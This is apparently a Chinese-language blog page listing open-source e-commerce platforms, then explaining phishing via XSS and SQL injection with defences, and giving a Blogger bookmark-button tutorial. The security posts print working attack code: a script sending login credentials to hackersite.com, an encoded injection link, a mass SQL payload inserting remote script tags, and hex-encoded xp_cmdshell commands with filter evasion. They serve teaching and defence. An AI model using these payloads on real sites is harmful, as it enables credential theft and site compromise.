TWE-Commerce 是一個以 osCommerce 及 xt:Commerce 為基礎架構的購物平台。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站:http://www.twecommerce.org/
展示網站:http://twe23.oldpa.com.tw/

Freeway
Freeway 是一套功能功能相當完整且強大的電子商務系統,除了一般商品銷售外,還可以銷售門票、虛擬商品。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.openfreeway.org/
展示網站: http://www.openfreeway.org/demo.html
原始碼下載: http://www.openfreeway.org/download.html

Drupal e-Commerce
Drupal e-Commerce 是適用在 Drupal 內容管理系統的電子商務模組,其功能相當完整,包括:庫存管理、交易和付款流程、可以外掛付款和送貨模組、發票與送貨通知、交易報表與銷售統計等,甚至還可以可以運用拍賣模組,建立拍賣網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.drupalecommerce.org/
中文支援網站: http://drupaltaiwan.org/module/e_commerce
主程式下載: http://drupal.org/download
模組下載:http://drupal.org/project/ecommerce

ASP.NET Starter Kit - Commerce Starter Kit
ASP.NET Starter Kit(ASP.NET入門套件)是微軟提供的免費且開放原始碼的軟體,可拿來做為開發各種 Web 應用程式的骨架範本。在 ASP.NET Starter Kit 中也包含了 Commerce Starter Kit(電子商務入門套件)可以輕鬆建構一個購物網站。
程式語言: ASP.NET, VB.NET, C#, J#
官方網站: http://www.asp.net/downloads/archived/starter-kits/
原始碼下載: http://www.asp.net/downloads/archived/starter-kits/commerce/

StoreNuke.Net
使用 Commerce Starter Kit(電子商務入門套件)為基礎架構的電子商務系統。
程式語言: ASP.NET, C#
官方網站: http://www.storenuke.net/
原始碼下載: http://sourceforge.net/projects/storenuke-net/

DotShoppingcart
DotShoppingcart 是一套用於電子商務的網站內容管理系統,提供動態編輯網頁內容的能力。除了免費版本外,亦有付費版本可供選擇。
程式語言: ASP.NET, C#
軟體授權: DotShoppingCart Public License (DPL) 1.0
官方網站: http://www.dotshoppingcart.com/
原始碼下載: http://www.dotshoppingcart.com/Page/Community/Download.aspx
示範影片: http://www.dotshoppingcart.com/Page/DemoVideos.aspx

Comersus Cart
Comersus Cart 是使用 ASP 開發的開放原始碼的軟體,除了免費版本外,亦有其他功能完整的付費版本可供選擇。
程式語言: ASP
軟體授權: Comersus Shopping Cart Software License
官方網站: http://www.comersus.com/
原始碼下載: http://www.comersus.com/download.html
展示網站: http://www.comersus.com/demo.html

繼續閱讀...

網路釣魚實例 - 結合 XSS 攻擊

0 comments
所謂網路釣魚(phishing)是駭客透過垃圾郵件發送與合法網站相仿的寄件人及郵件內容,提供偽裝 (spoofing)的連結,誘騙使用者到進入其偽裝的網站,藉以騙取個人帳號及密碼。其實,要辨識這樣的偽裝連結並不難,你可以先將滑鼠移到連結上,留意瀏覽器左下方的狀態列所顯示的真正網址,就能辨其真偽。但本文接下來要介紹的是比這類詐騙郵件更為狡猾的網路釣魚攻擊,是一種與跨網站指令碼 (Cross-site scripting,簡稱為 XSS) 搭配組合的攻擊模式,讓人防不勝防。此攻擊模式是利用存在 XSS 弱點的網站,在其官方網址的參數欄位動手腳加入經編碼的惡意程式,讓使用者誤信這是該網站所提供的網址,而不自覺地落入駭客惡意設下的圈套。

Phishing 與 XSS 搭配攻擊
假設有個受信任的網站 trustedsite.com,其登入網頁的部份原始碼如下:
<-- Hypothetical login.php page -->
...
<?php echo $_REQUEST["msg"]; ?>
<form method="post" action="loginDone.php">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value="<?php echo $_REQUEST["returnUrl"]; ?>">
</form>
...

當匿名使用者要求檢視個人資料的網頁時,會被系統自動導向到登入網頁,其網址如下:
http://trustedsite.com/login.php?msg=Please+Sign+In+to+View+this+Profile&returnUrl=myProfile.php

在沒有過濾字元的情況下,透過網址的傳遞參數注入如下所示的 HTML 標籤及指令碼:
login.php?msg=<script>alert('Vulnerable!');</scrpt>
&returnUrl="><script>alert('Vulnerable!');</scrpt><input type="hidden

並重新發出 HTTP 請求,便會得到如下的 HTML 輸出內容,並觸發注入的指命碼:
...
<script>alert('Vulnerable!');</scrpt>
<form method="post" action="loginDone.asp">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value=""><script>alert('Vulnerable!');</scrpt><input type="hidden">
</form>
...



根據 XSS 攻擊原理,只要存在 XSS 漏洞的網頁程式就能順利執行惡意程式碼。以下是針對 trustedsite.com 登入網頁,所設計的攻擊指命碼:
/* phishing.js */
var userslogin = document.forms[0];
userslogin.onsubmit = function() {
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "http://hackersite.com/stealLogin.php?user=" + userslogin.username.value + "&pass=" + userslogin.pass.value;
document.body.appendChild(iframe);
};

並將登入網址重新設計如下:
http://trustedsite.com/login.php?msg=<script src="http://hackersite.com/phishing.js"></script>

為衍人耳目,駭客會刻意將注入的 HTML 標籤及指令碼字串編碼,如下所示:
http://trustedsite.com/login.php?msg=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%73%69%74%65%2E%63%6F%6D%2F%70%68%69%73%68%69%6E%67%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

接著只要利用 E-Mail 或者在網路上發佈此連結,誘騙使用者點選此連結登入,使用者帳號及密碼就會自動"異地備份"到駭客手上了。

如何防範
一般使用者不論是在電子郵件、即時通訊軟體或是一般網頁中點選連結時,應提高警覺,留心可疑的過長連結,尤其是連續性冗長的編碼的字串更應避而遠之。

至於,對 XSS 漏洞的防範,在這裡提供幾點建議供 Web 開發人員參考:
  1. 對使用 HTTP GET 方法傳遞的資料,加入防竄改(tamper-proof)機制。有關如何實作 URL tamper-proof 的詳細資訊可參考這裡
  2. 檢查使用者的任何輸入資訊,包含查詢字串、Cookie 或表單欄位,並拒絕任何具危害性的 HTML 標籤。如果你的網頁允許輸入 HTML 資料,也應該限制只允許輸入特定的 HTML 標籤。
  3. 使用 HTML 編碼輸出使用者的輸入資訊。


相關資源:
Passing Tamper-Proof QueryString Parameters by Scott Mitchell

參考文章:
Applying XSS to Phishing Attacks by Nexus

繼續閱讀...

SQL Injection 攻擊實例與防範之道

0 comments
根據近日新聞報導,2008 年四月底開始,在歐美陸續發生資料隱碼(SQL Injection)攻擊事件,最近已蔓延到台灣。在這波攻擊中,台灣已有無數網站受害,大家實在不可不慎。

本文將以微軟的 SQL Server 為背景,並模擬實作這次攻擊事件的 SQL 隱碼來做示範。希望能提供各位對資料隱碼攻擊的方式及原理,有基本認識與警惕。

試想,如果要攻擊一個網站該從何著手呢?首先,我們可以透過要求應用程式的表單輸入欄位或是 HTTP 查詢字串,來尋找可能的程式漏洞。當我們嘗試對應用程式要求含有單引號的表單輸入資訊或是 HTTP 查詢字串,並得到「內部伺服器錯誤」,那就幾乎可以篤定這個應用程式接受來自任何使用者的輸入,而且是藉由串連字串執行 SQL 命令。我們假設伺服器端執行的程式碼如下:
SELECT select_list FROM table_source WHERE column_name = 'anything'';

當程式因為執行語法錯誤的 SQL 陳述式而引發未處理的例外狀況時,無疑也透露程式可能潛在的資料隱碼弱點。這時只要使用查詢分隔符號(;)註解分隔符號(--),就可將惡意程式碼插入字串中,並組合成有效的 SQL 陳述式。以下範例會在預設的資料庫中,植入惡意連結到所有資料表中的長字串欄位:
SELECT select_list FROM table_source WHERE column_name = '';
declare object_cursor cursor
for
select name, id from sysobjects where xtype='U' and category = 0
open object_cursor
declare @stmt nvarchar(4000),@objec_name nvarchar(128), @object_id int, @column_name nvarchar(128)
fetch next from object_cursor into @objec_name, @object_id
while @@fetch_status = 0
begin
declare column_cursor cursor
for
select name from syscolumns where id = @object_id and length >= 255 and xtype in (167,231)
open column_cursor fetch next from column_cursor into @column_name
if @@fetch_status = 0
begin
set @stmt = 'update ' + @objec_name + ' set '
while @@fetch_status = 0
begin
set @stmt = @stmt + @column_name + '=' + @column_name + '+''<script src=''''http://example.com/s.js''''></script>'','
fetch next from column_cursor into @column_name
end
set @stmt = left(@stmt, len(@stmt)-1)
exec( @stmt )
end
close column_cursor
deallocate column_cursor
fetch next from object_cursor into @objec_name, @object_id
end
close object_cursor
deallocate object_cursor--
'


From xkcd

如果你認為只要過濾單引號,就可以防範未然,那就錯了。以下範例將利用 xp_cmdshell 執行以 Hex 編碼轉換後的命令字串,將 sysobjects 資料表輸出至 c:\inetpub\wwwroot\ 目錄:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare @s varchar(255)
select @s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50
exec master..xp_cmdshell @s


如果連單引號跟空白字元都被拒絕輸入呢?以下範例使用註解分隔符號(/**/)替代空白字元依舊可以產生有效的陳述式:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50/**/
exec/**/master..xp_cmdshell/**/@s


如何防範
  1. 不要信任來自使用者的資訊,包括查詢字串、表單變數以及 cookie 值都必須進行驗證及過濾。
  2. 使用參數型命令查詢取代用字串串連的方式建立 SQL 查詢。
  3. 對遠端永遠都使用自訂錯誤訊息網頁,防止內部伺服器錯誤的詳細錯誤資訊洩露在客戶端。
  4. 應用程式所使用的資料庫帳戶,盡可能給予所需的最低權限存取資料庫。

參數命令查詢範例
在 ASP.NET 很多人習慣用以下方式建立 SQL 查詢:
string cmdText = string.Format("SELECT * FROM Users " +
"WHERE username='{0}'", username);
SqlCommand cmd = new SqlCommand(cmdText, conn);

基於安全考量,你應該使用參數型命令查詢。如以下範例:
string cmdText = "SELECT * FROM Users " +
"WHERE Username LIKE @username";
SqlCommand cmd = new SqlCommand(cmdText, conn);
cmd.Parameters.AddWithValue("@username", txtSearch.Text + "%");
SqlDataReader sdr = cmd.ExecuteReader();

當使用者輸入搜尋字串 "someone" 時,ADO.NET 會提交以下如下查詢命令給 SQL Server:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(8)',@username=N'someone%'

但萬一是輸入以下的惡意字串:
'; DROP TABLE Users --

則會產生以下查詢陳述式:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(23)',@username=N'''; DROP TABLE Users --%'

由此可見 ADO.NET 會自動使用兩個單引號置換內嵌的單引號,所以輸入資料永遠被視為字串常數,而非串連成動態 SQL 指令的字串。

善用規則運算式(Regular Expressions)
如果你非要用字串串連的方式建立 SQL 查詢的話,你就要自己篩選輸入資料。以下範例使用規則運算式過濾特殊字元及部份關鍵字:
string inputString = txtSearch.Text;
inputString = Regex.Replace(inputString, @"\b(exec(ute)?|select|update|insert|delete|drop|create)\b|[;']|(-{2})|(/\*.*\*/)", string.Empty, RegexOptions.IgnoreCase);

請注意,如果是使用 LIKE 來執行字串比較,即便是使用參數型命令,你仍需要逸出萬用字元:
Regex re = new Regex(@"(?<EscapeChar>[\[\%_])");
inputString = re.Replace(inputString, "[${EscapeChar}]");

有關 LIKE 語法的詳細資訊,請參考這裡

參考文章:
SQL Injection Attacks by Example by Steve
SQL 資料隱碼 by Microsoft

繼續閱讀...

為你的 Blogger 加入書籤按鈕

14 comments
現在有許多好用的外掛程式可以幫您的 Blogger 加上多個書籤按鈕,尤其像是 AddThisShareThis,更是集合各種社交書籤,且功能更為完整。可惜的是這些好用的外掛程式普遍都沒有支援國內的書籤網站(例如 Hemidemi、My Share 等),有感於此,於是自己才著手寫了這個支援國內書籤按鈕的外掛程式,而且只需要幾個簡單的步驟及少量的 DHTML 程式碼即可完成安裝。

接下來將以 Blogger 新的網頁範本格式(XML)來說明安裝步驟:

1. 進入 Blogger 的管理介面,在[版面配置]點選[修改HTML],並勾選[展開小裝置範本]。

2. 在 <b:skin> 區段中加入以下 CSS 代碼:
.social-button { 
border: 0;
padding: 1px;
width: 16px;
height: 16px;
opacity: .5;
-moz-opacity: .5;
filter: alpha(opacity=50);
}
.social-button:hover {
opacity: 1;
-moz-opacity: 1;
filter: alpha(opacity=100);
}

3. 找到如下的標籤代碼:
<p><data:post.body/></p>

並在其後加入以下程式碼:
<!-- Bookmark Button BEGIN -->
<div align='right'>
<script type='text/javascript'>
_bookmarkTitle = &#39;<data:post.title/>&#39;;
_bookmarkUrl = &#39;<data:post.url/>&#39;;
</script>
<script src='http://renjin.liu.googlepages.com/social_widget.js' type='text/javascript'/>
</div>
<!-- Bookmark Button END -->

4. 儲存範本、測試。



 Download Source Code

繼續閱讀...